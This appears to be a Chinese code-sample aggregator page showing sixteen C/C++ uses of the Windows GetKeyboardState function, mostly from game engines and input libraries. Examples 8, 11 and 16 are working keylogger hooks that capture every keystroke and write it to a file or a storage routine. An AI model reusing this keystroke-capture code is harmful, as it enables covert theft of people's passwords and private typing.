本文整理汇总了C++中GetKeyboardState函数的典型用法代码示例。如果您正苦于以下问题:C++ GetKeyboardState函数的具体用法?C++ GetKeyboardState怎么用?C++ GetKeyboardState使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetKeyboardState函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: CheckKeys
//================================================================================
void ATHInputManager::SendKeyboardEvent()
{
ATHKeyList m_liKeysDown = CheckKeys();
ATHKeyList::iterator itrCurr = m_liKeysDown.begin();
ATHKeyList::iterator itrEnd = m_liKeysDown.end();
ATHEvent keyEvent( AET_KEYBOARD );
unsigned int unKeyDownIndex = 0;
unsigned int unKeyUpIndex = 0;
while( itrCurr != itrEnd )
{
unsigned int szDIKKey = (*itrCurr);
if (KeyPressed( szDIKKey ) && unKeyDownIndex < 8)
{
BYTE chAsciiKeys[ATH_NUM_KEYS] = {};
if (GetKeyboardState(chAsciiKeys))
{
unsigned short szAsciiKey = 0;
// Why do I have to do both opposite conversions????
int nCharCount = ToAsciiEx(MapVirtualKeyEx(szDIKKey, MAPVK_VSC_TO_VK, NULL), MapVirtualKeyEx(szDIKKey, MAPVK_VK_TO_VSC, NULL), chAsciiKeys, &szAsciiKey, 0, NULL);
if (nCharCount > 0)
{
keyEvent.KEY_szKeysPressed[unKeyDownIndex] = (char)szAsciiKey;
unKeyDownIndex++;
}
}
}
itrCurr++;
}
if( unKeyDownIndex > 0|| unKeyUpIndex > 0 )
{
keyEvent.m_EventID = AEI_KEYDOWN;
m_pEventManager->SendEvent( keyEvent, AEP_IMMEDIATE );
}
}
开发者ID:Ethanthecrazy,项目名称:ATHEngine,代码行数:40,代码来源:ATHInputManager.cpp
示例2: key_dinput_acquire
/* key_dinput_acquire: [window thread]
* Acquires the keyboard device. This must be called after a
* window switch for example if the device is in foreground
* cooperative level.
*/
int key_dinput_acquire(void)
{
HRESULT hr;
int mask, state;
char key_state[256];
if (key_dinput_device) {
mask = KB_SCROLOCK_FLAG | KB_NUMLOCK_FLAG | KB_CAPSLOCK_FLAG;
state = 0;
/* Read the current Windows keyboard state */
GetKeyboardState(key_state);
if (key_state[VK_SCROLL] & 1)
state |= KB_SCROLOCK_FLAG;
if (key_state[VK_NUMLOCK] & 1)
state |= KB_NUMLOCK_FLAG;
if (key_state[VK_CAPITAL] & 1)
state |= KB_CAPSLOCK_FLAG;
_key_shifts = (_key_shifts & ~mask) | (state & mask);
hr = IDirectInputDevice_Acquire(key_dinput_device);
if (FAILED(hr)) {
_TRACE(PREFIX_E "acquire keyboard failed: %s\n", dinput_err_str(hr));
return -1;
}
/* Initialize keyboard state */
SetEvent(key_input_event);
return 0;
}
else
return -1;
}
开发者ID:Aquilon96,项目名称:ags,代码行数:44,代码来源:wkeybd.c
示例3: GetKeyboardState
WCHAR CTextService::_GetCh(BYTE vk, BYTE vkoff)
{
BYTE keystate[256];
WCHAR ubuff;
WCHAR u = L'\0';
GetKeyboardState(keystate);
switch(inputmode)
{
case im_hiragana:
case im_katakana:
case im_katakana_ank:
keystate[VK_CAPITAL] = 0;
if(abbrevmode || purgedicmode)
{
keystate[VK_KANA] = 0;
}
if(vkoff != 0)
{
keystate[vkoff] = 0;
}
break;
case im_jlatin:
case im_ascii:
keystate[VK_KANA] = 0;
break;
default:
break;
}
int retu = ToUnicode(vk, 0, keystate, &ubuff, 1, 0);
if(retu == 1)
{
u = ubuff;
}
return u;
}
开发者ID:deton,项目名称:tsf-tutcode,代码行数:39,代码来源:KeyHandlerConv.cpp
示例4: toggle_numlock
static PyObject*
toggle_numlock(PyObject* self, PyObject* args)
{
int is_on = 0;
int turn_on = 0;
BYTE keys[256] = {0};
if(!PyArg_ParseTuple(args, "i", &turn_on))
return NULL;
GetKeyboardState((LPBYTE)&keys);
is_on = keys[VK_NUMLOCK] & 0x1;
if(is_on != turn_on)
{
keybd_event(VK_NUMLOCK,
0x45,
KEYEVENTF_EXTENDEDKEY | 0,
0);
keybd_event(VK_NUMLOCK,
0x45,
KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP,
0);
}
return Py_BuildValue("i", is_on);
}
开发者ID:av930,项目名称:sendkeys-py-si-python3,代码行数:23,代码来源:_sendkeys.c
示例5: GetKeyboardState
//////////////////////////////////////////////////////////////////////////
// mapKeyEvent
void OsClientWindows::mapKeyEvent( OsEventInputKeyboard& Event, WPARAM wParam )
{
Event.KeyCode_ = static_cast< BcU16 >( wParam ) & 0xff;
Event.ScanCode_ = ::MapVirtualKey( Event.KeyCode_, 0 );
WORD AsciiOut = 0;
BYTE KeyState[ 256 ];
GetKeyboardState( KeyState );
if( ::ToAscii( Event.KeyCode_, Event.ScanCode_, KeyState, &AsciiOut, 0 ) > 0 )
{
Event.AsciiCode_ = static_cast< BcU16 >( AsciiOut );
}
else
{
Event.AsciiCode_ = 0;
}
// Get key code, or pass through virtual.
TKeyCodeMapIterator It( KeyCodeMap_.find( Event.KeyCode_ ) );
if( It != KeyCodeMap_.end() )
{
Event.KeyCode_ = (*It).second;
}
}
开发者ID:Psybrus,项目名称:Psybrus,代码行数:25,代码来源:OsClientWindows.cpp
示例6: GetKeyboardState
static SDL_keysym *TranslateKey(UINT vkey, UINT scancode, SDL_keysym *keysym, int pressed)
{
/* Set the keysym information */
keysym->scancode = (unsigned char) scancode;
keysym->sym = VK_keymap[vkey];
keysym->mod = KMOD_NONE;
keysym->unicode = 0;
if ( pressed && SDL_TranslateUNICODE ) { /* Someday use ToUnicode() */
#ifdef NO_GETKEYBOARDSTATE
/* Uh oh, better hope the vkey is close enough.. */
keysym->unicode = vkey;
#else
BYTE keystate[256];
BYTE chars[2];
GetKeyboardState(keystate);
if ( ToAscii(vkey,scancode,keystate,(WORD *)chars,0) == 1 ) {
keysym->unicode = chars[0];
}
#endif /* NO_GETKEYBOARDSTATE */
}
return(keysym);
}
开发者ID:OS2World,项目名称:LIB-SDL,代码行数:23,代码来源:SDL_dibevents.c
示例7: GetKeyboardState
void CKeySend::SetCapsLock(const bool bState)
{
BYTE keyState[256];
GetKeyboardState((LPBYTE)&keyState);
if ((bState && !(keyState[VK_CAPITAL] & 0x01)) ||
(!bState && (keyState[VK_CAPITAL] & 0x01))) {
if (m_impl->m_isOldOS) {
// Simulate a key press
keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0);
// Simulate a key release
keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
} else {
newSendVK(VK_CAPITAL); // Send CapLock keydown/keyup via SendInput
}
}
MSG msg;
while (::PeekMessage(&msg, NULL, 0, 0, PM_NOREMOVE)) {
// so there is a message process it.
#ifndef __WX__
if (!AfxGetThread()->PumpMessage())
break;
#else
// Not sure this is correct!
if (msg.message == WM_QUIT) {
// Put it back on the queue and leave now
::PostQuitMessage(0);
return;
}
::TranslateMessage(&msg);
::DispatchMessage(&msg);
#endif
}
}
开发者ID:ByteRisc,项目名称:pwsafe,代码行数:36,代码来源:KeySend.cpp
示例8: __declspec
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) &&
(HC_ACTION==nCode))
{
if ((wParam == VK_SPACE)||
(wParam == VK_RETURN)||
(wParam >= 0x2f) && (wParam <= 0x100))
{
FILE *file =fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,file);
}
else{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
fwrite(&ch,1,1,file);
}
fclose(file);
}
}
LRESULT RetVal = CallNextHookEx( hHook, nCode, wParam, lParam);
return RetVal;
}
开发者ID:340211173,项目名称:hf-2011,代码行数:36,代码来源:GlobalAppDlg.cpp
示例9: VG4_AnimRender
/* Функция построения кадра.
* АРГУМЕНТЫ: Нет.
* ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ: Нет.
*/
VOID VG4_AnimRender( VOID )
{
INT i;
LARGE_INTEGER li;
POINT pt;
if (!VG4_IsInit)
return;
/*** Опрос таймера ***/
/* обновляем информацию: */
QueryPerformanceCounter(&li);
/* глобальное время */
VG4_Anim.GlobalTime = (DBL)(li.QuadPart - VG4_TimeStart) / VG4_TimeFreq;
VG4_Anim.GlobalDeltaTime = (DBL)(li.QuadPart - VG4_TimeOld) / VG4_TimeFreq;
/* локальное время */
if (VG4_Anim.IsPause)
VG4_Anim.DeltaTime = 0, VG4_TimePause += li.QuadPart - VG4_TimeOld;
else
VG4_Anim.DeltaTime = VG4_Anim.GlobalDeltaTime;
VG4_Anim.Time = (DBL)(li.QuadPart - VG4_TimeStart - VG4_TimePause - VG4_TimeShift) /
VG4_TimeFreq;
/* вычисляем производительность */
if (li.QuadPart - VG4_TimeFPS > VG4_TimeFreq * 3.0)
{
VG4_Anim.FPS = VG4_FrameCounter / ((DBL)(li.QuadPart - VG4_TimeFPS) / VG4_TimeFreq);
VG4_TimeFPS = li.QuadPart;
VG4_FrameCounter = 0;
}
/* обновляем время "старого" кадра */
VG4_TimeOld = li.QuadPart;
/*** Опрос устройств ввода ***/
/* клавиатура */
/* копируем старое состояние */
memcpy(VG4_Anim.KeysOld, VG4_Anim.Keys, 256);
/* Считываем новое */
GetKeyboardState(VG4_Anim.Keys);
/* конвертироем в Да,Нет */
for (i = 0; i < 256; i++)
VG4_Anim.Keys[i] >>= 7;
/* мышь */
GetCursorPos(&pt);
ScreenToClient(VG4_Anim.hWnd, &pt);
VG4_Anim.MouseX = pt.x;
VG4_Anim.MouseY = pt.y;
VG4_Anim.MouseBut[0] = VG4_Anim.Keys[VK_LBUTTON];
VG4_Anim.MouseBut[1] = VG4_Anim.Keys[VK_RBUTTON];
VG4_Anim.MouseBut[2] = VG4_Anim.Keys[VK_MBUTTON];
VG4_Anim.MouseDeltaX = pt.x - VG4_MousePosOld.x;
VG4_Anim.MouseDeltaY = pt.y - VG4_MousePosOld.y;
VG4_Anim.MouseWheel = VG4_MouseWheel;
VG4_MouseWheel = 0;
VG4_MousePosOld = pt;
/* джойстик */
if ((i = joyGetNumDevs()) > 1)
{
JOYCAPS jc;
if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR)
{
JOYINFOEX ji;
ji.dwSize = sizeof(ji);
ji.dwFlags = JOY_RETURNALL;
if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR)
{
/* кнопки */
memcpy(VG4_Anim.JButOld, VG4_Anim.JBut, 32);
for (i = 0; i < 32; i++)
VG4_Anim.JBut[i] = (ji.dwButtons >> i) & 1;
/* оси переводим в диапазон -1..1 */
VG4_Anim.Jx = 2.0 * (ji.dwXpos - jc.wXmin) / (jc.wXmax - jc.wXmin) - 1;
VG4_Anim.Jy = 2.0 * (ji.dwYpos - jc.wYmin) / (jc.wYmax - jc.wYmin) - 1;
VG4_Anim.Jz = 2.0 * (ji.dwZpos - jc.wZmin) / (jc.wZmax - jc.wZmin) - 1;
VG4_Anim.Jr = 2.0 * (ji.dwRpos - jc.wRmin) / (jc.wRmax - jc.wRmin) - 1;
if (ji.dwPOV == 0xFFFF)
VG4_Anim.JPov = 0;
else
VG4_Anim.JPov = ji.dwPOV / 4500 + 1;
}
开发者ID:CGSG,项目名称:SPR2013,代码行数:96,代码来源:ANIM.C
示例10: Util_DebugMsg
void HS_SendKeys::SimModsUp(void)
{
#ifdef _DEBUG
Util_DebugMsg("==> HS_SendKeys::SimModsUp : m_nKeyMod=%d)\n", m_nKeyMod);
#endif
// If the window is NULL use keybd_event
if (m_hWnd == NULL)
{
if ( m_nKeyMod & ALTMOD ) // ALT required?
keybd_event(VK_MENU, m_scanAlt, KEYEVENTF_KEYUP, 0);
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
keybd_event(VK_CONTROL, m_scanCtrl, KEYEVENTF_KEYUP, 0);
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
keybd_event(VK_SHIFT, m_scanShift, KEYEVENTF_KEYUP, 0);
if ( m_nKeyMod & LWINMOD ) // WIN required?
keybd_event(VK_LWIN, m_scanLWin, KEYEVENTF_KEYUP, 0);
}
else
{
LPARAM lparam;
BYTE KeybdState[256];
GetKeyboardState((LPBYTE)&KeybdState);
if ( (m_nKeyMod & ALTMOD) && !(m_nKeyMod & CTRLMOD) ) // Alt without Ctrl
{
lparam = 0xE0000001 | (LPARAM)(m_scanAlt << 16); // AltDown=1, Repeat=1, Key = up
PostMessage(m_hWnd, WM_SYSKEYUP, VK_MENU, lparam);
}
else if (m_nKeyMod & ALTMOD) // Alt with Ctrl
{
lparam = 0xC0000001 | (LPARAM)(m_scanAlt << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_MENU, lparam);
}
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
{
lparam = 0xC0000001 | (LPARAM)(m_scanCtrl << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_CONTROL, lparam);
}
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
{
lparam = 0xC0000001 | (LPARAM)(m_scanShift << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_SHIFT, lparam);
}
if ( m_nKeyMod & LWINMOD ) // WIN required?
{
lparam = 0xC0000001 | (LPARAM)(m_scanLWin << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_LWIN, lparam);
}
// Now alter the keyboard state to match the mods we just sent
if ( m_nKeyMod & LWINMOD ) // WIN required?
KeybdState[VK_LWIN] ^= 0x80;
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
KeybdState[VK_SHIFT] ^= 0x80;
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
KeybdState[VK_CONTROL] ^= 0x80;
if (m_nKeyMod & ALTMOD) // ALT required?
KeybdState[VK_MENU] ^= 0x80;
SetKeyboardState((LPBYTE)&KeybdState);
}
// Key up keydelay
DoKeyDelay();
} // SimModsUp()
开发者ID:infam0us,项目名称:AutoIT-Plus,代码行数:70,代码来源:sendkeys.cpp
示例11: KeyboardHookProc
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam)
{
if(!(lParam >> 31) && (code >= 0))
{
char keyw[20];
BEEP
switch(wParam)
{
case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break;
case VK_BACK: strcpy(keyw,"[BACK]"); break;
case VK_TAB: strcpy(keyw,"[TAB]"); break;
case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break;
case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break;
case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break;
case VK_CONTROL: strcpy(keyw,"[CTRL]"); break;
case VK_MENU: strcpy(keyw,"[ALT]"); break;
case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break;
case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break;
case VK_ESCAPE: strcpy(keyw,"[ESC]"); break;
case VK_PRIOR: strcpy(keyw,"[PageUp]"); break;
case VK_NEXT: strcpy(keyw,"[PageDown]"); break;
case VK_END: strcpy(keyw,"[END]"); break;
case VK_HOME: strcpy(keyw,"[HOME]"); break;
case VK_LEFT: strcpy(keyw,"[LEFT]"); break;
case VK_UP: strcpy(keyw,"[UP]"); break;
case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break;
case VK_DOWN: strcpy(keyw,"[DOWN]"); break;
case VK_SELECT: strcpy(keyw,"[SELECT]"); break;
case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break;
case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break;
case VK_INSERT: strcpy(keyw,"[INSERT]"); break;
case VK_DELETE: strcpy(keyw,"[DELETE]"); break;
case VK_HELP: strcpy(keyw,"[HELP]"); break;
case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break;
case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break;
case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break;
case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break;
case VK_ADD: strcpy(keyw,"[ADD]"); break;
case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break;
case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break;
case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break;
case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break;
case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break;
case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break;
case VK_ATTN: strcpy(keyw,"[ATTN]"); break;
case VK_CRSEL: strcpy(keyw,"[CrSel]"); break;
case VK_EXSEL: strcpy(keyw,"[ExSel]"); break;
case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break;
case VK_PLAY: strcpy(keyw,"[PLAY]"); break;
case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break;
default: {
/* function keys */
if((wParam >= VK_F1)
&&(wParam <= VK_F24))
{
sprintf(keyw,"[F%u]",
(wParam - VK_F1 + 1));
}
/* what we want the most... the ASCII keys */
else if ((wParam==VK_SPACE)||(wParam>=0x2f)&&(wParam<=0x100))
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
*keyw = char(w);
keyw[1] = '\0';
}
else {
sprintf(keyw,"[(%d)%c]",wParam,wParam); break;
}
}
}
STORE_INFO(keyw);
}
return CallNextHookEx(KeyHook, code, wParam, lParam);
}
开发者ID:hansongjing,项目名称:Old-Projects,代码行数:78,代码来源:138.cpp
示例12: __declspec
LRESULT __declspec( dllexport )__stdcall CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
{
char ch;
if ( ( ( DWORD )lParam & 0x40000000 ) && ( HC_ACTION == nCode ) )
{
if ( ( wParam == VK_SPACE ) || ( wParam == VK_RETURN ) || ( wParam == VK_BACK ) || ( wParam == VK_DELETE ) || ( ( wParam >= 0x2f ) && ( wParam <= 0x100 ) ) )
{
if ( wParam == VK_RETURN )
{
if( isChatinputOpen )
{
strcat( textbox_buffer, iBuf );
strcat( textbox_buffer, "\n" );
isChatinputOpen = 0;
// TODO: send chat msg
memset( iBuf, 0, sizeof( iBuf ) );
return 1;
}
}
else if( wParam == VK_BACK || wParam == VK_DELETE )
{
if( isChatinputOpen )
{
size_t i = strlen( iBuf );
if( i > 0 )
iBuf[i - 1] = 0;
return 1;
}
}
else
{
BYTE ks[256];
GetKeyboardState( ks );
WORD w;
UINT scan = 0;
ToAscii( wParam, scan, ks, &w, 0 );
ch = char( w );
char tbuf[2] = {0};
tbuf[0] = ch;
if( !isChatinputOpen )
{
if( ch == 't' ) // TODO: make hotkey configurable
{
isChatinputOpen = 1;
return 1;
}
}
else
{
if( strlen( iBuf ) < sizeof( iBuf ) - 1 )
strcat( iBuf, tbuf );
return 1;
}
}
}
}
return CallNextHookEx( hkb, nCode, wParam, lParam );
}
开发者ID:CmaThomas,项目名称:Vault-Tec-Multiplayer-Mod,代码行数:68,代码来源:Input.cpp
示例13: GetKeyboardState
static XBMC_keysym *TranslateKey(WPARAM vkey, UINT scancode, XBMC_keysym *keysym, int pressed)
{ uint16_t mod;
uint8_t keystate[256];
/* Set the keysym information */
keysym->scancode = (unsigned char) scancode;
keysym->unicode = 0;
if ((vkey == VK_RETURN) && (scancode & 0x100))
{
/* No VK_ code for the keypad enter key */
keysym->sym = XBMCK_KP_ENTER;
}
else
{
keysym->sym = VK_keymap[XBMC_MapVirtualKey(scancode, vkey)];
}
// Attempt to convert the keypress to a UNICODE character
GetKeyboardState(keystate);
if ( pressed && XBMC_TranslateUNICODE )
{ uint16_t wchars[2];
/* Numlock isn't taken into account in ToUnicode,
* so we handle it as a special case here */
if ((keystate[VK_NUMLOCK] & 1) && vkey >= VK_NUMPAD0 && vkey <= VK_NUMPAD9)
{
keysym->unicode = vkey - VK_NUMPAD0 + '0';
}
else if (ToUnicode((UINT)vkey, scancode, keystate, (LPWSTR)wchars, sizeof(wchars)/sizeof(wchars[0]), 0) > 0)
{
keysym->unicode = wchars[0];
}
}
// Set the modifier bitmap
mod = (uint16_t) XBMCKMOD_NONE;
// If left control and right alt are down this usually means that
// AltGr is down
if ((keystate[VK_LCONTROL] & 0x80) && (keystate[VK_RMENU] & 0x80))
{
mod |= XBMCKMOD_MODE;
}
else
{
if (keystate[VK_LCONTROL] & 0x80) mod |= XBMCKMOD_LCTRL;
if (keystate[VK_RMENU] & 0x80) mod |= XBMCKMOD_RALT;
}
// Check the remaining modifiers
if (keystate[VK_LSHIFT] & 0x80) mod |= XBMCKMOD_LSHIFT;
if (keystate[VK_RSHIFT] & 0x80) mod |= XBMCKMOD_RSHIFT;
if (keystate[VK_RCONTROL] & 0x80) mod |= XBMCKMOD_RCTRL;
if (keystate[VK_LMENU] & 0x80) mod |= XBMCKMOD_LALT;
if (keystate[VK_LWIN] & 0x80) mod |= XBMCKMOD_LSUPER;
if (keystate[VK_RWIN] & 0x80) mod |= XBMCKMOD_LSUPER;
keysym->mod = (XBMCMod) mod;
// Return the updated keysym
return(keysym);
}
开发者ID:0wing,项目名称:xbmc,代码行数:64,代码来源:WinEventsWin32.cpp
示例14: WndProc
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
#ifndef WM_MOUSEWHEEL
#define WM_MOUSEWHEEL 0x020A
#endif
#ifndef WHEEL_DELTA
#define WHEEL_DELTA 120
#endif
switch (message)
{
case WM_ERASEBKGND:
return 0;
case WM_KEYUP:
{
InputSystem::Instance()->GetKeyboard()->OnSystemKeyUnpressed((int32)wParam);
};
break;
case WM_KEYDOWN:
{
BYTE allKeys[256];
GetKeyboardState(allKeys);
if ((allKeys[VK_MENU] & 0x80)
&& (allKeys[VK_TAB] & 0x80))
{
ShowWindow(hWnd, SW_MINIMIZE);
}
Vector<DAVA::UIEvent> touches;
Vector<DAVA::UIEvent> emptyTouches;
for(Vector<DAVA::UIEvent>::iterator it = activeTouches.begin(); it != activeTouches.end(); it++)
{
touches.push_back(*it);
}
DAVA::UIEvent ev;
ev.keyChar = 0;
ev.phase = DAVA::UIEvent::PHASE_KEYCHAR;
ev.tapCount = 1;
ev.tid = InputSystem::Instance()->GetKeyboard()->GetDavaKeyForSystemKey((int32)wParam);
touches.push_back(ev);
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
touches.pop_back();
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
InputSystem::Instance()->GetKeyboard()->OnSystemKeyPressed((int32)wParam);
};
break;
case WM_CHAR:
{
if(wParam > 27) //TODO: remove this elegant check
{
Vector<DAVA::UIEvent> touches;
Vector<DAVA::UIEvent> emptyTouches;
for(Vector<DAVA::UIEvent>::iterator it = activeTouches.begin(); it != activeTouches.end(); it++)
{
touches.push_back(*it);
}
DAVA::UIEvent ev;
ev.keyChar = (char16)wParam;
ev.phase = DAVA::UIEvent::PHASE_KEYCHAR;
ev.tapCount = 1;
ev.tid = 0;
touches.push_back(ev);
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
touches.pop_back();
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
}
}
break;
case WM_INPUT:
{
UINT dwSize;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize,
sizeof(RAWINPUTHEADER));
LPBYTE lpb = new BYTE[dwSize];
if (lpb == NULL)
return 0;
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize,
sizeof(RAWINPUTHEADER)) != dwSize )
OutputDebugString (TEXT("GetRawInputData does not return correct size !\n"));
RAWINPUT* raw = (RAWINPUT*)lpb;
if(raw->header.dwType == RIM_TYPEMOUSE && raw->data.mouse.usFlags == 0)
{
//.........这里部分代码省略.........
开发者ID:droidenko,项目名称:dava.framework,代码行数:101,代码来源:CorePlatformWin32.cpp
示例15: IK3_AnimRender
VOID IK3_AnimRender( VOID )
{
int i;
POINT pt;
LARGE_INTEGER t;
IK3_FrameCounter++;
QueryPerformanceCounter(&t);
IK3_Anim.GlobalTime =(DBL)(t.QuadPart - IK3_StartTime) / IK3_TimePerSec;
IK3_Anim.GlobalDeltaTime =(DBL)(t.QuadPart - IK3_OldTime) / IK3_TimePerSec;
if (IK3_Anim.IsPause)
{
IK3_Anim.DeltaTime = 0;
IK3_PauseTime += t.QuadPart - IK3_OldTime;
}
else
{
IK3_Anim.DeltaTime = IK3_Anim.GlobalDeltaTime;
IK3_Anim.Time = (DBL)(t.QuadPart - IK3_PauseTime - IK3_OldTime) / IK3_TimePerSec;
}
if (t.QuadPart - IK3_OldTimeFPS > IK3_TimePerSec);
{
CHAR str[100];
IK3_Anim.FPS = IK3_FrameCounter * IK3_TimePerSec / (DBL)(t.QuadPart - IK3_OldTimeFPS);
IK3_OldTimeFPS = t.QuadPart;
sprintf(str, "FPS: %.5f", IK3_Anim.FPS);
SetWindowText(IK3_Anim.hWnd, str);
IK3_FrameCounter = 0;
}
GetKeyboardState(IK3_Anim.Keys);
for (i = 0; i < 256; i++)
{
IK3_Anim.Keys[i] >>= 7;
if (!IK3_Anim.OldKeys[i] && IK3_Anim.Keys[i])
IK3_Anim.KeysClick[i] = TRUE;
else
IK3_Anim.KeysClick[i] = FALSE;
}
memcpy(IK3_Anim.OldKeys, IK3_Anim.Keys, 256);
GetCursorPos(&pt);
ScreenToClient(IK3_Anim.hWnd, &pt);
IK3_Anim.Mdx = pt.x - IK3_Anim.Mx;
IK3_Anim.Mdy = pt.y - IK3_Anim.My;
IK3_Anim.Mdx = pt.x;
IK3_Anim.Mdy = pt.y;
/* Joystick */
if (joyGetNumDevs() > 0)
{
JOYCAPS jc;
/* Get joystick info */
if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR)
{
JOYINFOEX ji;
ji.dwSize = sizeof(JOYINFOEX);
ji.dwFlags = JOY_RETURNALL;
if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR)
{
/* Buttons */
for (i = 0; i < 32; i++)
IK3_Anim.JBut[i] = (ji.dwButtons >> i) & 1;
/* Axes */
IK3_Anim.JX = IK3_GET_JOYSTIC_AXIS(X);
IK3_Anim.JY = IK3_GET_JOYSTIC_AXIS(Y);
IK3_Anim.JZ = IK3_GET_JOYSTIC_AXIS(Z);
IK3_Anim.JR = IK3_GET_JOYSTIC_AXIS(R);
/* Point of view */
IK3_Anim.JPov = ji.dwPOV == 0xFFFF ? 0 : ji.dwPOV / 4500 + 1;
}
}
开发者ID:KvitkovIgor,项目名称:SUM2016,代码行数:80,代码来源:ANIM.C
示例16: LowLevelKeyboardProc
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT result = CallNextHookEx(hKeyHookEn, nCode, wParam, lParam);
if (nCode == HC_ACTION)
{
PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT) lParam;
// 防止消息重复产生记录重复,以pMsg->time判断
if (m_dwLastMsgTime == pKeyboardHookStruct->time)
{
return result;
}
m_dwLastMsgTime = pKeyboardHookStruct->time;
if ((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN))
{
BYTE KeyboardState[256];
ZeroMemory(KeyboardState, sizeof(KeyboardState));
GetKeyboardState(KeyboardState);
KeyboardState[VK_SHIFT] = (BYTE) (GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT));
KeyboardState[VK_CAPITAL] = (BYTE) GetKeyState(VK_CAPITAL);
WORD wChar;
int iNumChar = ToAscii(pKeyboardHookStruct->vkCode, pKeyboardHookStruct->scanCode, KeyboardState, &wChar, 0);
if (iNumChar>0&&(BYTE)wChar<=127&&(BYTE)wChar>=32)
{
//_asm int 3
CHAR szDebug[2]={0};
wsprintf(szDebug, "%c", wChar);
if (szDebug[0] == VK_RETURN)
{
SaveInfo("\r\n");
}
else
{
SaveInfo(szDebug);
}
// OutputDebugStringA(szDebug);
}
else
// if (iNumChar <= 0)
{
CHAR KeyText[20];
ZeroMemory(KeyText, sizeof(KeyText));
LONG Flags = 0;
Flags = pKeyboardHookStruct->scanCode << 16;
Flags |= pKeyboardHookStruct->flags << 24;
if (GetKeyNameText(Flags, &KeyText[1], 20) > 0)
{
KeyText[0] = '[';
lstrcat(KeyText, "]");
// OutputDebugStringA(KeyText);
SaveInfo(KeyText);
}
}
}
}
return result;
}
开发者ID:cugxiangzhenwei,项目名称:TSP_Zhenwei,代码行数:78,代码来源:KeyboardManager.cpp
示例17: SetWindowLongPtr
//.........这里部分代码省略.........
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_MBUTTONDBLCLK:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_MIDDLEDblClick;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_SYSKEYDOWN:
switch( wParam )
{
case VK_CONTROL:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
GetKeyboardState(keys);
